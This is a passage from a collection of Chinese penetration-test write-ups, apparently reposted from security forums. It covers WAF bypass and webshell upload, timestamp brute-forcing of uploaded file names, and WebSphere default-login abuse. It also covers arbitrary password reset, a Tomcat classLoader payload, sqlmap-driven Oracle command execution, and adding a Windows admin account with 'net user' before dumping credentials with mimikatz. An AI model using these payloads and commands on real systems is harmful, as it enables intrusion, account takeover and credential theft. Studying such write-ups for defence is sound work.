filename="1.aspx Content-Type: image/jpeg 1111 ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--成功饶过waf,上传成功,但是没有返回路径 寻找路径但是之前爆破目录找到了/uploads/目录和/image/目录 而且发现html名为security_risk.html,构造路径securityrisk、security_risk、security等,然后跑了一下目录 最终发现存在 http://xxx.cn:880/uploads/securityrisk/ 这个目录 猜测可能上传的文件很有可能在该目录下,不然没必要起这么像的名字吧,而且还叫upload,于是尝试直接访问刚刚的文件名1.txt,返回是404 http://xxx.cn:880/uploads/securityrisk/1.txt 爆破时间戳根据自己微不足道的经验,dot.net架构的网站喜欢使用时间戳来命名,因此构造当前时间戳,尝试爆破上传时间附近的时间点的时间戳值。 时间戳一般为10位或者13位 文件上传后强制转换的文件名命名规律一般有 1、随机字符串 xxx-xxx-xxx--xxx.jpg 格式这种类型我们没法猜,如果没目录遍历或者返回路径,那么基本上只能放弃 2、时间戳类型 直接以时间戳+.jpg为文件名(如1631868676.jpg) 时间戳+00001 时间戳+0001 时间戳+001 时间戳+01 时间戳3、yymmddHHmm类型 这种类型一般以20210917xxxxx这种格式,xxxx应该为毫秒级别的数字,我们可以直接使用Burp进行爆破跑,4——6位还是可能跑的出来的,再多就跑不出来了。 powershell -c Get-Date -Format yyyyMMddHHmm yyyyMMddHHmmssfff yyyyMMddHHmmssfff+00001 yyyyMMddHHmmssfff+0001 yyyyMMddHHmmssfff+001 yyyyMMddHHmmssfff+01 yyyyMMddHHmmssfff yyyyMMddHHmmss yyyyMMddHHmmss+00001 yyyyMMddHHmmss+0001 yyyyMMddHHmmss+001 yyyyMMddHHmmss+01 yyyyMMddHHmmss整理好了思路我们就开始爆破吧,我们只需选择在Burp发包时记住当前时间,然后获取当前时间戳,然后使用Burp intruder爆破来跑,一个一个的整理过去,大概需要重复操作15次,每次我就选择最后5位数字来进行爆破(只要网站不挂,不疏漏每一种类型应该是没什么问题的) 经过大量爆破后,发现了上传的文本文件,格式内容为 yyyyMMddHHmmss+0001 成功找到路径后,后面的就无需多言了 0x03 总结1.通过目录扫描工具对目标站点一进行目录扫描,发现存在bin.zip,下载到本地,是站点1的源码 2.对网站源码进行代码审计,发现存在文件上传,上传的文件名并不知道,传参为DataType=ZBJHSB ,上传文件后保存的路径为:/Uploads/SetData/ZBJHSB .且上传的文件名的生成规则为:yyyyMMddHHmmssfff 3.由于网站采用fileupload方法,这里可以通过bp枚举上传文件命令,最终在访问 http://xxx.com:6039/FileUploads.ashx显示200.表示存在文件上传 fileUpload.aspx fileUpload.ashx fileUpload.asmx fileUploads.aspx fileUploads.asmx fileUploads.ashx Upload.....等 4.这里通过本地构造上传表单并保存为html进行post提交 http://xxx.com:6039/FileUploads.ashx?DataType=ZBJHSB 5.通过下面命令生成当前时间错的文件名 powershell -c Get-Date -Format yyyyMMddHHmmssfff 6.由于和电脑上的时间不一定准,需要爆破5位数到6位数,也就是mmssfff 这里可以通过bp爆破后面的5位数或者6位数 7.通过目录扫描工具对目标站点进行网络请求查看,发现存在webpack debug模式未关闭,发现index.js,其内容中包含了上传接口 8.发现上传接口http://xxxxxx:880/jtwxt/xgjt/security_risk.html,并进行附件上传。 9.发现存在waf,会返回404,通过修改host主机xxxx.cn:880为xxxx.cn或xxx.cn:8888,可绕过waf,但是并没返回上传路径 10.这里通过目录扫描工具对目标http://xxxxxx:880/进行扫描,发现访问uploads以及images目录403,这里猜测是上传到uploads目录下. 11.发现html名为security_risk.html,构造路径securityrisk、security_risk、security等目录进行扫描, 最终发现存在 http://xxx.cn:880/uploads/securityrisk/ 目录 12.上传一个1.txt文件,访问 http://xxx.cn:880/uploads/securityrisk/1.txt显示不存在,可能上传的文件名是时间戳 (.net架构的网站喜欢使用时间戳来命名) 13.通过以下命令生成当前时间错的文件名 powershell -c Get-Date -Format yyyyMMddHHmm powershell -c Get-Date -Format yyyyMMddHHmmssfff powershell -c Get-Date -Format yyyyMMddHHmmssfff+00001 powershell -c Get-Date -Format yyyyMMddHHmmssfff+0001 powershell -c Get-Date -Format yyyyMMddHHmmssfff+001 powershell -c Get-Date -Format yyyyMMddHHmmssfff+01 14.选择在Burp发包时记住当前时间,然后获取当前时间戳,然后使用Burp intruder爆破来跑,一个一个的整理过去,大概需要重复操作15次,每次我就选择最后5位数字来进行爆破,最终爆破出文件名出来。 但是这种方法还是比较靠运气的,因为很有可能当前服务器的时间和目标网站的时间不一致,比如差个几个小时,甚至差个几天这种情况。 如果为yyyyMMddHHmmssfff的情况,那基本是没办法了,自认倒霉 如果是yyyyMMddHHmmss的情况,那么爆破6位数字,还是可能爆破出来的。 原文链接: https://xz.aliyun.com/t/10280
  6. 0x00 起因此次接到的项目是对某客户端进行安全测试。之前的工作内容除了偶尔测测 App 之外,大部分的测试目标还是以 B/S 架构的 Web 为主,这是第一次对 C/S 架构的客户端进行测试,所以也是两眼一抹黑,只能先按照测 Web 的常规思路来了。0x01 抓包首先查看目标客户端是否存在代理配置功能(大多数没有) 可以看到只有个简单的登录功能,并无代理配置功能Proxifier + BurpSuite查看 BurpSuite 中配置的代理地址及端口 在 Proxifier 中添加代理服务器(ip、port 为 BurpSuite 中配置的代理地址及端口) 配置好后,进行检查,测试与 BurpSuite 的连通性(BurpSuite 中有流量即为成功连通) 在 Proxifier 中添加代理规则 BurpSuite 成功拦截到客户端的登录请求 0x02 数据包分析成功拦截到数据包之后,便打算对其进行分析,结果一看就绝望了,请求包跟响应包均被加密 尝试 Web 访问之前测 App 时遇到过手机端流量被加密但 PC 端未加密的情况,遂复制请求链接尝试 Web 访问,并未获取到有效信息 由于该客户端内相关功能的请求参数均以 POST 方式传输,流量均被加密,所以暂时放弃,转变思路打算从服务器入手0x03 柳暗花明WebSphere对目标服务器进行端口扫描,发现开放的端口还挺多,9043、9060分别为 WebSphere 默认的管理控制台安全端口、管理控制台端口 默认登录地址为 /ibm/console,此处用默认的用户标识 admin 成功登录 一波三折更换 jsp 文件内容按理说成功进入 WebSphere 管理控制台,拿到 shell 只是顺理成章的事情,但是事情远没有我想象中的那么容易,首先使用之前打好的 war 包进行上传 选择 war 包,填好上下文之后报错 将 war 包中的 jsp 文件内容修改为打印字符串(无害内容),重新打包后上传,依旧报错更换 jdk 版本从前面抓取到的数据包中可知目标使用的 jdk 版本为 1.5.0_21,遂下载对应版本的 jdk 使用 jar 命令对无害 jsp 文件打 war 包后上传,依旧报错 Myeclipse 构造 war 文件 Myeclipse 新建 web 项目将 jsp 文件放至 WebRoot 目录下导出项目为 war 文件 生成的 war 文件目录结构如下 选择生成的 war 文件并填写上下文进行上传 步骤 1-4 无需操作,点击下一步步骤 5 点击完成后,记得选择保存到主配置 安装完成后应用程序状态为已停止,点击启动即可成功启动 0x04 总结
  7. 0x01前言下文的所有漏洞都是需要有学校统一门户的账号和密码的情况下才能挖掘出来的,不过我也有挖到个别特殊的学校个例,可以直接未授权访问那些目录页面造成危害。挖掘的案例均已提交至漏洞平台并已经修复。 0x02 渗透过程首先登陆统一门户,登录账号密码,找到学工系统页面: 1.越权漏洞: 访问以下的路径: http://x.x.x.x/xgxt/xsxx_xsgl.do?method=showStudentsAjax&amp;isAll=true 然后便可查看所有学生列表: http://x.x.x.x/xgxt/general_szdw.do?method=szdwRybb&amp;lx=fdy 然后便可查看所有辅导员列表: http://x.x.x.x/xgxt/xsxx_xsgl.do?method=getXsjbxxMore&amp;xh=某学号 然后便可以查看该学号的学生的敏感信息: 最后根据该漏洞可以编写个脚本,来批量获取系统内用户的敏感信息,效果如下: 2.任意密码重置漏洞: 访问该路径: http://x.x.x.x/xgxt/mmzhgl_mmzh.do?method=xgmm&amp;yhm=想要修改的账号 然后可以将系统内置的超级管理员账号的密码重置,我重置为test0123: 然后再退出到http://x,x,x,x/xgxt/的学工系统登录页面,重新登录: 登录成功: 既然是超级管理员,那么便可查看到许多敏感信息了,这里就不截图和赘述了。 3.文件上传漏洞(需要绕过waf的拦截): 访问该路径: http://x.x.x.x/xgxt/commXszz.do?method=uploadFile 这里我上传的是jspx木马,查看网站页面源代码来获取文件路径: 访问http://x.x.x.x/xgxt/mmzhgl_mmzh.do?method=checkYh&amp;type=view,然后用Burp Suite用POST方式填充垃圾字符数据可绕过waf。方法就是利用脚本生成一个垃圾字符数据,或者自己aaaa什么的堆叠一下,因为有些waf要是字节超出了范围,那么就不会检测到堆叠之后的马,同时也可以利用注释符(可用<!– … –>来注释)再注释掉脏数据,那么就只剩下马了,waf就绕过了: method=checkYh&amp;type=view&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;&amp;class.classLoader.resources.dirContext.aliases=/abcd=/upload/xxxx/ 然后拼合url,获取木马地址:http://x.x.x.x/xgxt/abcd/xxx.jspx 至此,完成本次渗透过程。 0x03 总结1.通过越权漏洞查询到学生列表信息 http://x.x.x.x/xgxt/xsxx_xsgl.do?method=showStudentsAjax&amp;isAll=true 2.通过越权漏洞又查询到辅导员列表 3.通过越权查询到某个学生的敏感信息如学号和用户名 http://x.x.x.x/xgxt/xsxx_xsgl.do?method=getXsjbxxMore&amp;xh=某学号 4.通过密码找回处的任意密码修改admin密码 5.成功登陆到学工系统,在一处附件处存在任意文件上传漏洞 6.这里通过在post数据包中,将一句话木马的前面的数据 原文链接: https://forum.butian.net/share/385
  8. 0x01 弱口令在一次针对某站点信息收集的过程中,通过子域名扫描,扫描到某个老旧系统。 一看这都2014年的老站了,肯定有搞头! 日常使用burp爆破一波试试,没爆破出来 但是随手一试,好家伙123/123进入系统,属于是运气拉满了 (高强度打码) 这里能看到是一个“编辑”人员的权限,并没有什么上传等后台管理的功能,只能耐心过一遍系统的各种功能。 0x02 SQL注入进入系统翻一翻,没有什么敏感信息泄露,但是在一处查询人员信息的接口发现了SQL注入(xray被动扫描扫出来的) http://host.com/xxx/control/SearchMenHunInfo?content=123 这时想要手工验证一下,发现甚至不需要后台cookie就能直接访问该接口,相当于还存在未授权访问漏洞。 那这sqlmap一把梭,--cookie参数都不用加了 这里跑出了库名,还能看到这是一个Oracle数据库。打算继续拿shell试试。 但是在我日常渗透过程中,Oracle数据库并不常见,sqlmap中--os-shell参数还是不支持Oracle数据库的,只能现学现卖一波。 0x03 getshell首先参考了这篇文章 Oracle注入 - 命令执行&Shell反弹 文章中介绍到以下版本的Oracle在发现注入后可以命令执行 那么再用sqlmap查看一下Oracle版本 看来是符合可以命令执行的版本的! 又经历了一波漫长的学习,发现了github一个大佬已经集成好的工具 oracleShell oracle 数据库命令执行 工具截图如下 可以看出,我们还需要知道数据库的SID,用户名,密码,就可以尝试执行命令。 那么就继续利用sqlmap来扩大我们已知信息。 查看数据库权限--is-dba 查看数据库IP,SID 这里进入sqlmap的--sql-shell模式,用sql语句来查询 查询SID:select instance_name from v$instance 查询当前IP:select sys_context('userenv','ip_address') from dual 爆破所有数据库账号、密码 使用sqlmap的--passwords参数,跑出数据库的所用用户名和对应的密码 经过漫长的等待,终于有了结果(这里给出的是虚构的数据) database management system users password hashes: [*] ANONYMOUS [1]: password hash: anonymous [*] HR [1]: password hash: 6399F3B38EDF3288 [*] SYS [1]: password hash: 4DE42795E66117AE [*] SYSMAN [1]: password hash: B607EEBB3A2D36D0 [*] SYSTEM[1]: password hash: 8877FF8306EF558B clear-text password: SYS 可以看到有些用户名只得到了对应的哈希,但是其中一个用户名system成功跑出了明文密码! 查询Oracle常用端口 Oracle确实不熟悉,百度查一波端口: 查询发现,服务端默认的端口号一般是389,客户端默认的端口号一般都是1521 OK!现在已经拥有了IP,PORT,SID,用户名(SYSTEM),密码(SYS),可以直接使用工具连接了。 一切顺利!取得了system权限! 0x04 进一步证明危害创建个用户试试 net user name pwd /add net localgroup Administrators name /add 远程桌面RDP连接 name/pwd 连接成功! 上传一个mimikatz,抓取管理员明文密码 privilege::debug sekurlsa::logonPasswords 最终成功登录Administrator账号RDP 至此,渗透结束。 0x05 总结弱口令->sql注入->getshell->拿下管理员权限 1.通过子域名扫描工具对目标域名进行扫描,发现存在一个人力资源管理系统 2.通过手动测试123/123弱口令进入系统 3.在后台的查询人员处存在SQL注入漏洞(xray被动扫描扫出来的) 4.通过sqlmap跑出当前数据库为oracle python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --current-db 5.sqlmap中--os-shell参数是不支持Oracle数据库的,因此这里只能通过--os-sql来查找敏感信息 6.查询oracle版本,发现版本为10.2.1.0(oracle能执行命令的版本为8.1.7.4,9.2.01-9.2.0.7,10.1.0.2-10.1.0.4,10.2.0.1-10.2.0.2) python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" -b 7.查询数据库权限,是DBA权限 python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --is-dba 8.通过--os-sql来查找查看数据库IP,SID select instance_name from v$instance //查询SID select sys_context('userenv','ip_address') from dual //查询当前IP 9.通过sqlmap进行password dump出,用户名system成功跑出了明文密码 python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --passwords 10.同时通过nmap扫描出数据库服务器IP开放了1521端口。 11.通过oracleshell工具远程连接数据库,并执行系统命令 12.在命令中添加用户名和密码并添加到管理员组,通过注册表开启远程桌面。 net user name pwd /add net localgroup Administrators name /add 13.通过mimikatz读取到系统的密码 privilege::debug sekurlsa::logonPasswords 原文链接: https://www.freebuf.com/articles/web/284911.html
  9. 0x00 漫长的探索 某天,接到一个任务,要求对某医院的信息系统做一次安全检测,看能否发现问题。经过初步的信息收集后,发现该医院并无官网,只有一个微信公众号提供了预约挂号,缴费等功能,看来只能把突破点放在这个公众号上了。 下图是微信公众号的一些功能: 当点击这些功能并抓包的时候,令我看到奇怪的是所有的请求都指向了a.test.com这个域名,如下图,原谅我的厚码... test.com这个域名经过查找后发现是一家提供医疗信息系统的本地公司,但不解的是为什么医院的系统会放到供应商公司去呢?他们是如何进行数据同步的呢?带着这些问题我开始了对a.test.com这个域名的测试。 看到这个熟悉的页面,确定了此系统大概是由sping boot开发的,经过一系列常规操作后,只发现了一个swagger-ui页面。 由于我们的目标是拿权限,所以重点对此页面的接口进行了sql注入和越权等测试,无果,也没有任何的文件上传接口,开始卡到这里了。 回过来想,a.test.com这个域名是test.com的子域名,是否能够通过test.com进行突破呢? 访问test.com,打开的是供应商公司的官网。 对test.com的域名做信息收集后发现了几个子域均解析致某云服务器,但是ip不同。 首先git.test.com这个域名引起了我的注意,打开后是一个gitlab服务。 gitlab历史上是由几个漏洞的: 但不幸的是此系统版本较高,漏洞均以修复。 那会不会由弱口令呢?使用几个常用的用户名和top密码进行爆破,无果,我又想办法加到了此公司的一个qq群中,尝试在群文件中获取一些有效信息。 果不然,群文件中有一份表格,记录了员工的详细信息 有了这些信息,我开始使用姓名和工号等组合成gitlab的用户名,使用常用弱口令定向爆破,期望能有一两个结果,但是还是无果,看来此gitlab对密码强度有要求,弱口令是走不通了。 0x01 柳岸花明又一村当使用google hack 语法搜索此gitlab时发现了几处无需认证即可访问的公开仓库。 我开始把希望寄托在了这些可公开访问的仓库上,仔细翻看这些仓库,大多数都是一些接口文档,对本次渗透没有啥用。 终于在rabbitmq安装介绍文档中发现了一个oracle数据库的连接用户名和密码: 在前面的信息收集过程中,已经发现了x.test.com这个子域名对应的ip地址开放了oracle数据库端口,我迅速连接了此数据库发现用户名密码正确,可以连接。 由于此数据库版本较低,并且时sysdba权限,我可以直接以system权限执行命令。 然后就是添加用户登录拿下了这台oracle数据库的服务器。 并且在这个mysql文件夹中发现了mysql的配置文件。 由于test.com这台服务器是开放了mysql数据库的,利用此信息,我又成功登录了mysql数据库。 在mysql数据库中成功获取了供应商官网test.com后台的用户名和密码。 当我满怀欣喜的去登录时,发现确实可以登录,但登陆后的后台功能都已废弃,只有一个大大的thinkphp错误。 怎么办,原想的通过后台getshell的想法也落空了。(也尝试过使用Thinkphp3的漏洞利用,但也全部失败了) 0x02 